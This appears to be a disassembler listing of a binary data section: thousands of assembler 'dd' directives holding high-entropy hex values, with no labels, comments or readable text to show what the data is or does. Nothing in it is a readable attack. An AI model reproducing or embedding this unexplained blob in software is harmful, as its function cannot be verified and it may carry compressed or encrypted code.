		dd 0F7CB886Ch, 6F003497h, 9173F28Ah, 0B5700026h, 68024213h
		dd 7F04EA93h, 847AF40Fh, 3556E088h, 7D147A9h, 0C8512504h
		dd 3BDF2F05h, 7E204000h, 0A4834DF4h, 30A2A2E8h,	8479248Ch
		dd 11CE320h, 0B48617F3h, 70AF3912h, 4E0EEF4Eh, 2268612Eh
		dd 44ADFE4Ah, 3F5100DCh, 0A0E55FF1h, 700CAABh, 0D2184D70h
		dd 75B659Fh, 0AFD6946h,	0F8F9108Bh, 9375EF97h, 4E24D890h
		dd 0E449148Eh, 8F670328h, 74BC9B78h, 3BFDA798h,	0A8B8CF72h
		dd 0FE9D2004h, 148808D2h, 8BAC8831h, 9AAE7218h,	0F23DE851h
		dd 21F2C3h, 0E5A53127h,	0F5C456F7h, 7E794400h, 3EC281E8h
		dd 78F03990h, 7B0AD19Ch, 86B41A80h, 70B07DFAh, 81F1090Fh
		dd 21F00048h, 0C4156Fh,	55B8510Ah, 666EB4Eh, 8B839938h
		dd 0F534222Fh, 386F6386h, 791B8400h, 2CECAAA1h,	0CD860328h
		dd 6D8E76B1h, 0A20A2002h, 61B399CEh, 186AB60Eh,	0F76A11D6h
		dd 21491561h, 8B08166h,	127BB510h, 80724C00h, 0A16AE70Fh
		dd 22E2C08Dh, 78796C3Dh, 0CF00E0FEh, 887E9214h,	751FD6Ah
		dd 520448E2h, 0BA1E81D1h, 62E5F46Bh, 5AE30905h,	0DB0170F8h
		dd 0ED89A748h, 40F4C0E5h, 0FC630E0h, 623821B1h,	88230E30h
		dd 60ED90D1h, 0A74E9903h, 0D20CDFF5h, 316E12C6h, 0D0D70ECFh
		dd 2918E590h, 0D800F769h, 0A69F89B0h, 1DA907CDh, 2808AF5Ah
		dd 290163C5h, 697873FAh, 0AEC72508h, 0D47000EFh, 79617B2Dh
		dd 5112FA0Ah, 7F838CC5h, 0F092A115h, 0EAE9CF8Eh, 0F2100AD3h
		dd 30AC69ADh, 9D04EC40h, 27E3810Fh, 54F4F8h, 0CD236E2h
		dd 3FD47489h, 0F78E6F91h, 0FC74EE0Dh, 817A6619h, 480CF509h
		dd 77004B88h, 0ACE68DA4h, 7AE49Bh, 7857D219h, 0A5BF7FC7h
		dd 8488F803h, 0D875774Ch, 0C4FEF281h, 40928550h, 0C3E90EB5h
		dd 3038785Bh, 6D19FE50h, 4719573h, 699A2214h, 2E71090h
		dd 917D8Fh, 3FC9F06Ah, 50B3E191h, 0C28A10EFh, 0F6E890A9h
		dd 0D1696048h, 4767B18h, 37FF849h, 72255414h, 0D918634Eh
		dd 5F31FB4Ch, 50891891h, 0A52CD237h, 4A165E00h,	6620AE7Eh
		dd 9E4C9182h, 38F898F2h, 41C0F94Ch, 0EF6D1A61h,	1DC800ADh
		dd 5F271CEAh, 2F003F34h, 72E243C4h, 0E8FB201Ah,	0CCD1D455h
		dd 19BE7703h, 61B65086h, 74D928C0h, 75E2B18h, 0A9CC450Fh
		dd 3AC6E0C8h, 6A0C813Bh, 31C38567h, 8090545Ah, 2FD7070Bh
		dd 0B05B95E5h, 99730FE9h, 0B12DBB01h, 807661A7h, 1551C8F7h
		dd 5DBD00FEh, 35B90B81h, 0C760509Dh, 314E1951h,	0C90C0024h
		dd 1F9F8748h, 0CF027DA8h, 0D10D8627h, 752844F2h, 360F1CEDh
		dd 0EB5C86FEh, 0C0011961h, 0D1145951h, 64D0D0BBh, 0C0E7825h
		dd 8DBD8941h, 0A1010CB1h, 4367005h, 830A86Eh, 13B4A478h
		dd 329BF2AAh, 0D120FC0Ch, 7AD8AB14h, 526779CFh,	892284F0h
		dd 2700D17Dh, 7CCD71Dh,	0C064F2D2h, 5EDF8449h, 2607C115h
		dd 9C53F3DDh, 0B0CDC460h, 4C1D00C6h, 45DA769h, 149170B2h
		dd 0F9846685h, 1740401Ch, 4AF870E4h, 0B8D26210h, 0E32FFD82h
		dd 0A16B1D25h, 7630B7A1h, 0C1E22491h, 0DE698F58h, 0CB2CAA41h
		dd 62BD8D9h, 85CD6112h,	89C19C28h, 541301AEh, 48004106h
		dd 37836A90h, 27CB528h
		dd 817945E8h, 1C607E64h, 48A044EDh, 685007F8h, 0F2428364h
		dd 0E36A1Eh, 3604341h, 80990EF8h, 0CF76B480h, 0EECD770h
		dd 0A0024E4Ah, 1051F400h, 6D012198h, 8DDCE971h,	18802301h
		dd 0B9BBC707h, 170719F0h, 0A72EA911h, 88D0D3D3h, 6406C6A6h
		dd 0C0126170h, 0A7D42022h, 80146858h, 6BCB786h,	4205072Ah
		dd 10B99FE6h, 0FE45829Eh, 3400F4A4h, 0CCF655E3h, 0C947FDh
		dd 9DC12F2Ah, 145AEADh,	1AC6F80h, 0B7C85E98h, 8074F3AAh
		dd 0A6F0E4A8h, 203991h,	0BCBA34Bh, 3F0C3EB6h, 5126BA01h
		dd 80A9F10Ah, 7231E0h, 578A8BE3h, 0B3BAE5A1h, 0E2D08200h
		dd 39ADE970h, 0B9936159h, 0E018E4B4h, 867C9897h, 0B7F90703h
		dd 0E00F794Bh, 483565F3h, 1009C6Dh, 0CF20A7FFh,	67004F77h
		dd 7A2FC9E2h, 278D916h,	0C0FA5DDFh, 0C4C44687h,	7ECBFE00h
		dd 7F435C57h, 99230049h, 0F1B2D3D1h, 8906C69h, 2BDAE200h
		dd 0B5D4EA7Bh, 0F4ED1278h, 74002045h, 824863F5h, 712C0E0Ch
		dd 0D7D087CCh, 8EF2111h, 2E34430h, 7073D231h, 0D121C650h
		dd 2EE474EAh, 4CA90097h, 3177B278h, 0C4EC20F5h,	20E258h
		dd 71B6A80Dh, 787C11Ah,	46A677CDh, 6915A0ADh, 503E48EDh
		dd 787D30E6h, 155E7112h, 0D405A2A3h, 20BE7813h,	25F40808h
		dd 4583150Ah, 0BC8080FCh, 0A4811816h, 807E4Dh, 0D5507210h
		dd 7A917563h, 89490663h, 3D68D659h, 0FA802345h,	4D1822FEh
		dd 6BF62A61h, 0BDEF7100h, 0EE3BE2E7h, 601B0243h, 1A0E19A8h
		dd 31160CC1h, 0E8F6F548h, 990C712Eh, 89E7457Eh,	0C0270002h
		dd 0B18DE0DCh, 484A932Ch, 0AD003FA8h, 0FCA6D5FEh, 4B521F3Fh
		dd 8F2050BCh, 9A73E00Eh, 0EB0C1E6Dh, 3917118Eh,	0A8FC7A55h
		dd 6162369Ch, 5A0C5269h, 8B88503Ch, 370078FAh, 0CCB4CDE2h
		dd 38CF27h, 2BBB9EC4h, 5068A448h, 2609A1C0h, 1F915269h
		dd 9985C81h, 0B8072B7Ah, 0E84593AEh, 6A5F2900h,	52C04E95h
		dd 0CE30FF26h, 68A2010Fh, 0AC15B398h, 7BE2F055h, 0C30F126h
		dd 4008026h, 7912A8E1h,	391C2EA7h, 6080AC70h, 0AD22EE2h
		dd 0BBBF800h, 7DF9BCCFh, 58F892B8h, 28007419h, 0F81AB98Fh
		dd 85DE506h, 52603C9Ch,	0E4C00098h, 7BB97183h, 0F3EC00F5h
		dd 6025E263h, 0F72C6AAFh, 0C14030A1h, 174DBA77h, 2058D7DFh
		dd 32E1CC00h, 3C1F7C00h, 0A669C1B5h, 88C9821Bh,	0E344600Ah
		dd 1ABE950Ah, 807B617h,	6A709AC5h, 1ACE3D60h, 518876B1h
		dd 2E1FDE40h, 0F7B9BD0Fh, 0AEA203B6h, 69100E2Ch, 0B01EF2D0h
		dd 2E4D3D60h, 9F713500h, 5D166FEAh, 0F6AC3B88h,	8FB4B626h
		dd 21709229h, 3371606h,	596F214h, 0B478112Eh, 261CB1B0h
		dd 0F4811055h, 2DA20719h, 52035F08h, 20C601h, 0FD7621C9h
		dd 0F1737E0Ah, 0FCE0F001h, 0D0848AF8h, 8FC443h,	41ED6771h
		dd 4FCF5498h, 8300C0B9h, 8A66E0DAh, 0D7CD1681h,	4AAC05D0h
		dd 1C5480BFh, 0B97C33B7h, 0CF52E005h, 903072F9h, 702AA47h
		dd 766A196Fh, 0DA90C3C2h, 87714FE0h, 50BB2332h,	0E066B5h
		dd 683CE9C8h, 9D781680h, 0C3E16301h, 90EFCD7Fh,	5410A5D9h
		dd 74B82EF5h, 8C209524h, 0E45BC4BAh, 24BF02E9h,	1170429Fh
		dd 2FF44160h, 23F230C9h, 8565AA08h, 623FB8C1h, 59A07F10h
		dd 0E4499260h, 0BB4787h, 0C1B92DAFh, 0E2FB661Bh, 923F3E03h
		dd 0D80C8368h, 7D307C6h, 7FF9C209h, 41A08080h, 9D001902h
		dd 7E10B8C4h, 0E60AF6FCh, 158A3BD8h, 6AF9DF87h,	0AFDE607Dh
		dd 0B007B45h, 0BE7F0ABAh, 594AA3h, 8F9C168h, 2BB69DBh
		dd 3B335703h, 3C0B07F7h, 26008940h, 0C427CE40h,	0C1014879h
		dd 98817F74h, 0EDF419F9h, 0E47E00EEh, 0D9500884h, 0D10F9B0Dh
		dd 23FB4785h, 3F3FCh, 0E6450A88h, 0FBAA1F2h, 0FB1BAF00h
		dd 1194E47Fh, 0DDA0104h, 8C77D19Dh, 0F3308CFEh,	0FC3948h
		dd 674BF24Ah, 39622D3Eh, 99BD1207h, 4347DFB3h, 870C59D2h
		dd 9043088Ch, 9C393A55h, 4CF4388Ch, 0D5039411h,	0F85FBD3h
		dd 8F7EA8CBh, 0C5070701h, 30CD8905h, 3BF2D974h,	2530DC63h
		dd 578100F4h, 0A70331E6h, 0A600E945h, 0EC71694Eh, 19CE779h
		dd 0A260BBA5h, 5003514Ah, 0FB970A9Ch, 0B0F179C0h, 1E93B63Bh
		dd 8C0565h, 0FFE4D235h,	0A130EFDEh, 3DFC7124h, 68410040h
		dd 0BD460E9Dh, 183B20ABh, 970C8635h, 3028E4EFh,	0DF31564Bh
		dd 0B7285DF1h, 4F02E431h, 2D7375Eh, 250140D4h, 48AF00E9h
		dd 13581F5Fh, 8CFCFDBDh, 0ACCCED50h, 4FDFB70Ah,	3200D8A6h
		dd 0AD287D23h, 0C19F058Ch, 20B459D8h, 0A338DEC0h, 7D469B00h
		dd 0E3CC10CBh, 187FE894h, 50FA5C61h, 5D5349F7h,	942180h
		dd 12415AF8h, 0F7606C80h, 0B78E0750h, 9D93897h,	0F21C4BAAh
		dd 307D0067h, 0AE9D3D4Ch, 60091E7Fh, 2217465Fh,	9001F368h
		dd 1F7AE8h, 0A7D7430Bh,	80DBE68Ch, 5760060Fh, 0A1F1E554h
		dd 0CAAF9000h, 17BAC8h,	0F9A43ED0h, 7C25F524h, 93111D01h
		dd 1E61A512h, 1B906180h, 94515DC0h, 65E44E7Dh, 9D0014B8h
		dd 0F07BC477h, 52BECFEh, 0C07F978h, 5EF4308Dh, 9801EE39h
		dd 0F534232Eh, 8503DAAh, 9161A225h, 45AB00CCh, 1C06A8AAh
		dd 0DAEEE902h, 0A0FA78C1h, 601F20ECh, 370E0055h, 6AF71C7Fh
		dd 9C4847A2h, 0EB5F00F8h, 0DC5FEE8h, 0AE0B0C34h, 0C11E930h
		dd 18A6133Dh, 25994795h, 0D8E4ABD7h, 4320E5Eh, 0E80744B2h
		dd 0FA7783CEh, 2F30818h, 0E46AB31h, 23B5BB9Bh, 3BEDB4C0h
		dd 4C508A0Bh, 0EA88D228h, 0BF3D0077h, 70657686h, 6F00D766h
		dd 0B8C6E01Dh, 5C0922h,	39E4E9CBh, 0F35F02EAh, 81840A00h
		dd 0BC5695FBh, 0FED60076h, 0CF8FF207h, 1B0203A3h, 87800A02h
		dd 9C10486Fh, 695D0456h, 807C2D7Dh, 123A5B0Ch, 986B812Ah
		dd 1B627F15h, 0E5BA00ACh, 7CCB0538h, 0CF390090h, 5686B84Eh
		dd 6300D31Ch, 879DB669h, 0F81A9CA2h, 0F05D04E7h, 88254A03h
		dd 0EAB8B2C4h, 43EFBA00h, 0E4D12B68h, 2EA4392Fh, 260E7875h
		dd 36E198Ch, 0F42A5508h, 8086AEA1h, 366947AEh, 626D03h
		dd 43C6CD07h, 295F788Bh, 0E009B628h, 0A8580F73h, 0A98E0C97h
		dd 3CC84056h, 0C780E411h, 0CAC6B3D7h, 93017F77h, 1301DD33h
		dd 7087DEBFh, 40EC56AEh, 24DB787Eh, 99F410C0h, 0C0D1B192h
		dd 2C83F114h, 0D6FEBD60h, 14279C1Dh, 52C3E8DDh,	68F670h
		dd 182C3570h, 0C355CC69h, 15BE670Fh, 496F20E5h,	186D9352h
		dd 61627727h, 59603719h, 93804BE9h, 42D0040h, 737CCE13h
		dd 0A8E41F01h, 0DB06CDF0h, 0C82919B4h, 0B54F0431h, 73B4893h
		dd 946FFF2h, 0ECAA0058h, 5DDC8F7Ah, 0D417FA32h,	280043D9h
		dd 0DB7EC102h, 0F14205ABh, 59B49604h, 0F8AA7094h, 0A53A65CDh
		dd 0A6550002h, 0F6267FD3h, 54285419h, 11A0A67Eh, 2FCFECEh
		dd 2423FDB1h, 0D771C0C6h, 0F70D03DDh, 0BEE0179Dh, 0E7B421BDh
		dd 0DA99D366h, 13C8101Dh, 0C14E0EA3h, 720FAAFh,	0E77B694Dh
		dd 0F8192C18h, 0A4EF7339h, 643705ECh, 3346D18h,	0E7AF04B8h
		dd 86B59299h, 0F2D6BF21h, 67540139h, 93FD1828h,	0AB785084h
		dd 79192DAAh, 0EF8904DBh, 728848h, 60A87DE7h, 1245A4FAh
		dd 0E677E101h, 0EFF62F07h, 0D92C3441h, 13886DECh, 11FFC38h
		dd 6A86D15Bh, 0D998535Ch, 34371388h, 183AB1DFh,	0DE41B1F0h
		dd 29D13F92h, 88A2FA00h, 0B484E941h, 0D7DFF705h, 245E6886h
		dd 8C444460h, 2913A781h, 4167CE0h, 1470B948h, 9FD0B624h
		dd 100009D0h, 0D8717D7Ch
		dd 8200A032h, 8F78B793h, 21C4A1h, 96927981h, 1732AB0Fh
		dd 384D8524h, 0E1155A11h, 5301DCEBh, 4B0B6368h,	455630EDh
		dd 89BAEF30h, 5C18CBh, 0A31AE4ECh, 5339D2E6h, 8642D800h
		dd 0F2949F2Ah, 0CCDF1C9Bh, 0BF49034Eh, 0A1751DDBh, 5AC42354h
		dd 0A997961Fh, 12BC6381h, 25E0B198h, 0D50F0023h, 830AB755h
		dd 10EBF007h, 0A4F9E1BFh, 7C8810F8h, 0AD22BBh, 0B538DFCDh
		dd 0FF524E80h, 3016A18h, 2CF4C79h, 591CBF46h, 0E2405C74h
		dd 0F818FBB3h, 67CEE50Ah, 7FE224A1h, 0BF034100h, 5C84C2DAh
		dd 653A4210h, 32A6C0DFh, 0C45C1891h, 0A98F18D3h, 1660DBFCh
		dd 49422829h, 1F3BE2B8h, 8033EBEAh, 84E7FCB0h, 0E1006618h
		dd 8EBADFFAh, 1208E37Dh, 241C2BB5h, 86244084h, 0B37C9BB9h
		dd 0ADEFD400h, 2587EAE0h, 28490013h, 6CFAE2E5h,	0CF0009AEh
		dd 6F880CD7h, 788C2361h, 0C6B607CDh, 0C035C796h, 4218D34Fh
		dd 0DED92000h, 330F2C8Dh, 765B0190h, 58AB46F3h,	6104304Ah
		dd 8756E08Bh, 947D00A6h, 4377CC68h, 5860363Fh, 0ED17AD20h
		dd 6FC203B6h, 26327254h, 5D94EE98h, 0CBD18201h,	0B21387DFh
		dd 1FF3030h, 8FF7042Ah,	0C3A93A81h, 4607E100h, 63D6F073h
		dd 5779C064h, 709D09B3h, 2C194B15h, 0F8791348h,	2473F447h
		dd 0B699FD71h, 7618F822h, 52E88853h, 61388F0Bh,	0E0180E01h
		dd 6E88C3F4h, 0AA543173h, 80665531h, 0ED3FB359h, 72A63A8h
		dd 0C12F3592h, 251F4047h, 3A14DA0Ah, 42F09E18h,	0E0CE0020h
		dd 0BC9067B2h, 0ABF10703h, 0C08E5243h, 0A9511B85h, 696A7800h
		dd 17965BDEh, 545A0156h, 0CEE24E9Dh, 0FBDBCC66h, 5CBE2503h
		dd 0AE986FDh, 7792A259h, 2B19419Ch, 0FFA99C8Fh,	5C801064h
		dd 0E91DA25Dh, 31A439CFh, 0EC0C5800h, 0DF186852h, 2E7BDCA0h
		dd 6B4CE890h, 0B9EF1830h, 9E5E61h, 3F773855h, 962B49C2h
		dd 0E7A46100h, 931D8929h, 5AAB2CCDh, 21791214h,	322E197Ch
		dd 0E1B44014h, 2F7EFB07h, 4BC06A25h, 13065487h,	0C79123h
		dd 0BF5C86FCh, 0FE00AAE3h, 34DEBDDFh, 121518D4h, 4007FFCFh
		dd 8122E7ACh, 0C000F06h, 0E8DA87EFh, 144367h, 25223C6h
		dd 0B5BC1FCFh, 5A88D400h, 2CEFB0F6h, 10D361EDh,	0F0898473h
		dd 853CBBF0h, 87C2063h,	362277B9h, 4076D740h, 0E3E5366Ah
		dd 20840838h, 0ABB63902h, 0C49BFDC0h, 2C553020h, 27E716F1h
		dd 0C3269F07h, 0D607456Ch, 9600DFFFh, 9764C4BEh, 0EDD0008h
		dd 71AADB76h, 0F2004D41h, 9C78C1D0h, 1CBB50EEh,	44C38F67h
		dd 0C8F6D6BDh, 65003764h, 3066BEE3h, 26DA77E5h,	67385CBCh
		dd 0C6A03053h, 7104A3D7h, 7858E6EDh, 0AE61BFC3h, 0E1570AA1h
		dd 800862E5h, 70AB9DCAh, 0E25C0349h, 0CF951F1Ch, 2028D932h
		dd 946EEB27h, 8341D700h, 2145DACDh, 8BC20056h, 0DC92BA01h
		dd 0B2592A18h, 747600ECh, 3077D162h, 7C90981Ah,	171B8961h
		dd 932BCBA0h, 0C151584Dh, 0EEA8C34Ah, 78276FD8h, 1CD8584Dh
		dd 8429A468h, 0B76CB300h, 3167523Ch, 5BB001E1h,	0E46259h
		dd 0D8655F73h, 8AF41FDh, 0B0EF5378h, 507B3E87h,	64816000h
		dd 0C75D007Ah, 1B5EA2ABh, 73018754h, 0F9FC109Fh, 719EF5FEh
		dd 74EEC0DFh, 0DBE81B1h, 0CC0CDEE4h, 0C91E7C65h, 61A867EFh
		dd 42C5600Fh, 453769A0h, 35C0C149h, 75452h, 0DF0AE25Ch
		dd 384353A4h, 0A1006BE2h, 0E61A9F75h, 22A064h, 5EDD0573h
		dd 59996CCCh, 0E93F83Ah, 61D2288Ch, 0BDEF4C19h,	4ECD5980h
		dd 0DB60903Eh, 1A1BF500h, 0E3359ED4h, 513055Ch,	8073532Eh
		dd 8EDD1DCh, 7826AF0Ch,	0C068B911h, 0CDE5B9D0h,	9D4C4677h
		dd 5C7126B8h, 1D87BC29h, 6970CDB0h, 395A9C4h, 0BAC517D5h
		dd 1E8E5B2h, 577F430Eh,	0A822F898h, 80210156h, 0B8D78A1Ch
		dd 54384214h, 0A0FC9444h, 0F3C20200h, 0FC03BFB0h, 0E31100D6h
		dd 9F81FA71h, 4600CA9Ch, 0DDCED928h, 0C5C2280h,	29CCD567h
		dd 0B5E0DF98h, 8034634Ch, 8514E357h, 0EEEC126Fh, 55704B10h
		dd 0F890810h, 13E1B00h,	0B2876FCFh, 0AC810BEDh,	0A83910E1h
		dd 0BD8C5154h, 0B271030Bh, 0E99C85A3h, 3219E844h, 60FF48B4h
		dd 14D539FEh, 9500F16Eh, 2248B8A7h, 10414CD2h, 0BEEF8Ah
		dd 0F8382808h, 34C7F3h,	86D5827Fh, 4E29CC0h, 317C7473h
		dd 69961813h, 0AC8EF404h, 0AB25594Fh, 1A45207h,	0F3879A0h
		dd 86F88ADCh, 5900086Ch, 76CCE00Bh, 0C01858F0h,	4177AE80h
		dd 51C0B2EFh, 6754D07Eh, 0CB0C01E6h, 41C3351Bh,	0AC66D8E0h
		dd 7691360h, 28F8E36Bh,	9029B4h, 7AC91D68h, 43FFCCF9h
		dd 56AF0A07h, 801B18E6h, 42D680Ch, 4455E8ADh, 61003560h
		dd 21A16F31h, 2E717B39h, 3A106E46h, 658FFD83h, 710DBD78h
		dd 394554FEh, 542372F1h, 3074C440h, 8A08B704h, 94EE54ACh
		dd 0F4A9AF74h, 48AD1029h, 4E8B0045h, 0F1E9CFA4h, 2200FF58h
		dd 0B4DF7D14h, 6132DB82h, 371858A2h, 1E4482Fh, 330940h
		dd 4BD6F983h, 4C211644h, 0CE008FE6h, 0DAA15FABh, 31D4C8B5h
		dd 0DF384D7Bh, 6553E428h, 389B49C0h, 3E3E3F16h,	0BA00F64Bh
		dd 1E765A26h, 0D160E35Bh, 3AB18F78h, 0BC872CFDh, 47644420h
		dd 0DBE0BEC0h, 3838123h, 15515B94h, 2CF37802h, 28F5EBC9h
		dd 33809FB0h, 3EAF741Dh, 776C3D73h, 5E35E49Ch, 0EC4CC069h
		dd 0D5682DC3h, 9C375324h, 0E08278A8h, 6C38A844h, 0DC007788h
		dd 0EAF96271h, 661DD566h, 3030E13Bh, 2812FE42h,	0ED1F0F23h
		dd 0B880C449h, 53E30A62h, 4D6CB700h, 0DEFBFF9Fh, 7A9025B2h
		dd 2295804h, 912E2D19h,	0F11002B8h, 2F00CA21h, 9185A89Dh
		dd 78488Ah, 0DD7CF7B0h,	0FB726DE1h, 0A7E40807h,	24247E79h
		dd 24162CD2h, 6374C003h, 0F7F22A19h, 9061D2h, 1E894DCFh
		dd 0C030FA18h, 0E16BC5F2h, 942CFD65h, 0A28274A3h, 89077F26h
		dd 77849028h, 98289662h, 19DBB101h, 0B9F629C3h,	2DE9F14Bh
		dd 1D74CECh, 950EB70Bh,	60D992A8h, 0FE41B088h, 8A239060h
		dd 0B200E046h, 6A882B29h, 5CD72ED8h, 0A100B98Bh, 2C35117h
		dd 0D16F93A6h, 1CF16848h, 3F3C8B76h, 0A5670380h, 20C6D293h
		dd 2669FDD0h, 65F01E74h, 0B85EDDh, 55CD057Ah, 35E9B527h
		dd 134818CCh, 241B3D01h, 37F5CDC5h, 430E6D8h, 8701A8E8h
		dd 0E450D0AAh, 723CFD33h, 1C2BC453h, 4291F71Dh,	3419503Ah
		dd 4F18107Ah, 0C0690EDAh, 733707DFh, 811D29ADh,	4A643288h
		dd 0C32D2028h, 88BC75B9h, 999CECF8h, 8F413A02h,	80B1D94Ah
		dd 5C6A9560h, 28AC6275h, 0A8729CFDh, 5CE0BF24h,	90370949h
		dd 1C546BC8h, 0CB8B92BCh, 5C101305h, 0E5327FA6h, 417B2879h
		dd 0A0481034h, 33F60BF3h, 57004A32h, 1B8DA466h,	471C7400h
		dd 0FD216C6h, 0FBFA0B6Eh, 0E5817388h, 0D8F25855h, 3601F306h
		dd 68CD6DC1h, 444091FDh, 7C797CC3h, 0E9D6090Eh,	2F09BE87h
		dd 9C04AC21h, 80582DB5h, 66E98C65h, 0E81159FAh,	0EAF25600h
		dd 93804FC2h, 45A7E98h,	9CEB6460h, 1C750438h, 0E4FFA819h
		dd 0F5018974h, 97C9C8DEh, 0B8CC1601h, 38601E9h,	469E43A9h
		dd 133AD487h, 2A5CAD00h, 235FE349h, 0C940001Ch,	2D15D717h
		dd 950EFE4Dh, 0A31BDAB9h, 0F48065C0h, 88B12C88h, 1400CC75h
		dd 5EEBD2E7h, 4C34F5B9h, 32CA4B0h, 0B52041E8h, 0D910FE5Fh
		dd 2754316Ah, 0E41F6D11h, 5F79EFC6h, 50DF6F00h,	7498178Ch
		dd 91CAB8A3h, 1ADB0C28h, 9B008A81h, 0DF2C5DC3h,	2153F0Bh
		dd 81254B88h, 8D20EFDh
		dd 0FCF8F30Ah, 4760F40Fh, 24B2FABh, 0CC9357E0h,	5C662C18h
		dd 7429FB62h, 3D4E607Ah, 9351010Ah, 0DCBF5F29h,	8C6239h
		dd 3D676A86h, 3FD576h, 5163D6E9h, 9F7F736Bh, 2CEEC300h
		dd 0AEA70F21h, 0E7B3009Eh, 0D8E3D7B6h, 851C93DBh, 0EC4271AFh
		dd 20593F18h, 63D7434Bh, 0DF0094A4h, 1994DEBCh,	0F1BEFF4Ch
		dd 0FD0BFC69h, 3011B392h, 5166105Dh, 7DAB3E2Ch,	63303BBEh
		dd 6DE46919h, 7ACE4E00h, 0B1F198E5h, 0C1D624B8h, 0FF242058h
		dd 475820h, 0B6D5D7C8h,	0E5447793h, 48A4C45Ch, 0AFEF86F4h
		dd 3C74EE31h, 0E0083ABh, 8943A38Bh, 1D0BA5ADh, 1C19A04Bh
		dd 5FFA00C0h, 0AB9733D6h, 1AE4B7ECh, 0C9D2DF00h, 14A8A79Dh
		dd 13F92E59h, 0FAF340D8h, 9CB94432h, 98385404h,	0D23048F1h
		dd 5A491E73h, 0E8AD72Ch, 886B7B3Ch, 0D009064h, 728BA979h
		dd 0F0F2C725h, 6810033Eh, 0DFF31153h, 4BB0B4A8h, 0AC910411h
		dd 0A7E0A200h, 0F626B397h, 10210C4Fh, 0DAE093B2h, 8638000Bh
		dd 0FCE743E3h, 3C0383C9h, 4D3A9A09h, 20A84E87h,	78A39D9Ch
		dd 460794Ch, 2CF37B6Bh,	987180CCh, 90DD488Ch, 844EC012h
		dd 142AACh, 7B6D88C4h, 861F2CF1h, 80305140h, 0E4094552h
		dd 99B6D7CEh, 0C40267A8h, 7C5C9925h, 0A0E7D009h, 3A29502Ch
		dd 0A8211496h, 9F826858h, 0D0C47A26h, 79704101h, 0CE196FECh
		dd 8C352881h, 29546E18h, 51C200A4h, 71684E60h, 0C14700F0h
		dd 6EA49193h, 10008EA2h, 181A137Fh, 9988FD66h, 0C8E290F0h
		dd 512E408Eh, 2B321973h, 0DAFF6185h, 0C12D037Ch, 57C90A2Eh
		dd 0BCDDB388h, 2FA4E103h, 80765FF2h, 16CEA95h, 22F991AEh
		dd 0F059AF6Eh, 2D005DF3h, 70E4751Bh, 19D54D5h, 4E427972h
		dd 0F8B9CF66h, 0EC09E9A7h, 8198F465h, 28DEF7FCh, 49F195D1h
		dd 0E0C0C028h, 3D92DA36h, 83B94D01h, 13F00926h,	0C800A454h
		dd 0AEF57DB1h, 0CD680521h, 47157365h, 4F3272A8h, 794E6302h
		dd 71F8C043h, 2E0E58EEh, 6301D64Fh, 0C840BDD8h,	0F973F7h
		dd 6CECDEB3h, 684C1795h, 4F6330Bh, 0BF18C989h, 53141473h
		dd 9580A470h, 0B19E1862h, 64AC0C9Ch, 6840C23Ch,	0A89C009Fh
		dd 525BDEC9h, 0A338EA59h, 14F80010h, 0C7297D13h, 7F20073h
		dd 2BB70576h, 0DB12D44Eh, 0E50938A8h, 88080432h, 14F8C8Ch
		dd 0D19A4043h, 31AD245Eh, 0D9882070h, 2106C3E2h, 0BBF00886h
		dd 91440081h, 575D6A4Ah, 8C0E59A3h, 83FC8230h, 0F1AA2038h
		dd 90637918h, 87E2A502h, 9CD0956Bh, 11633721h, 694C00F5h
		dd 48478DB7h, 0F15002Bh, 0F35CBCAFh, 0DF4D2A19h, 7F650940h
		dd 74546614h, 10C70B53h, 0E80674B0h, 12EA51FAh,	0C7B129C0h
		dd 3B38954Ch, 198C8FCDh, 5251772Ch, 0BF662A02h,	0E20E15D8h
		dd 0C3C4C04h, 0AA7726A6h, 65046811h, 0D2A14FE7h, 0EBA0CCh
		dd 21B727Ah, 4D040CFDh,	2B652600h, 0AE4EBEA8h, 0CCFE0EA6h
		dd 243015FFh, 6570E4E7h, 8188947Dh, 0E0DAA20Ch,	88DC2413h
		dd 8300F4B8h, 49426911h, 3A96A87h, 659453F5h, 39162272h
		dd 20923019h, 90F2FFh, 9B9286C3h, 0BA85D617h, 801E477h
		dd 0A21AA627h, 8470EBD7h, 0EC8A48D9h, 4A86119Eh, 0A00488h
		dd 41D22B3h, 0BBB303Dh,	0F367B3Ah, 3E6C03CDh, 0BE68FA02h
		dd 16F4C4E5h, 0D6E044h,	791E62B0h, 90005573h, 0ABC6485Dh
		dd 3F4221h, 0BE786832h,	1215F92Bh, 733C5F00h, 0C45D93F7h
		dd 21950225h, 2D34194Ah, 0E27F9491h, 9488EF25h,	6AE273h
		dd 71373AECh, 0FDD1CA2Fh, 0AC449A5Bh, 94A9FFCEh, 4015DA1Fh
		dd 4938A61Eh, 19C37627h, 0F5C667F4h, 51AF4C8h, 0DA52CF0Eh
		dd 0B5380833h, 0DF8A6080h, 7E890D0h, 67FB5976h,	336C0A7h
		dd 4B01584Ah, 9606D9D8h, 0CC7350EFh, 0BCF028h, 656CD795h
		dd 0FDC81D8Eh, 6B392C72h, 0F4147E4Bh, 21C8EF7Ch, 0AB9108FCh
		dd 5477CE84h, 0A00048E2h, 0BB174735h, 92075BC2h, 0E96A848h
		dd 335A2320h, 5E1800CDh, 64E6C540h, 6D73CBADh, 0A7D10960h
		dd 0BE30E2A3h, 4019E470h, 2217FEC1h, 9B340013h,	0EAAA6D82h
		dd 51011E3Ah, 90D7AE6Eh, 0D834692Fh, 435E401Bh,	0C083BC28h
		dd 25B69D22h, 9019E3BFh, 11EFD28h, 0D42C7865h, 0B5DAFEA0h
		dd 79B0DD00h, 8C4BCB6Ch, 0D9D50053h, 332F5161h,	6CFF4FADh
		dd 422040C8h, 9AD74D00h, 2618C3D2h, 954600BAh, 810B99ADh
		dd 0D41EA460h, 18BB3C54h, 57801A35h, 0C59424FDh, 92A589C4h
		dd 103B4041h, 0CF1CDC76h, 0DBE03861h, 751F3CABh, 1A64B900h
		dd 0C53EA882h, 0E973017Ch, 0BF53A015h, 0A2C2079h, 21FFA640h
		dd 0F20713F8h, 0AAF0C0FAh, 32B0925h, 21671A1Eh,	0CE8E552h
		dd 0A60290A3h, 0BF97471h, 0E424C2E0h, 0EFD507CCh, 2388255Eh
		dd 0E000B1CAh, 0CD813697h, 7A781458h, 5C511753h, 1170097Bh
		dd 509B444h, 3496334h, 0A0B415D4h, 0D4E35Fh, 9A10BB44h
		dd 533E7AC2h, 0CFB671Dh, 404F888Fh, 1E2DE9E6h, 3D373DE2h
		dd 86DE412h, 0DB96F950h, 83A81C90h, 5EC60009h, 46427E52h
		dd 0C30B36BFh, 252C3271h, 10CA5A38h, 283D6600h,	8CC6ED9Fh
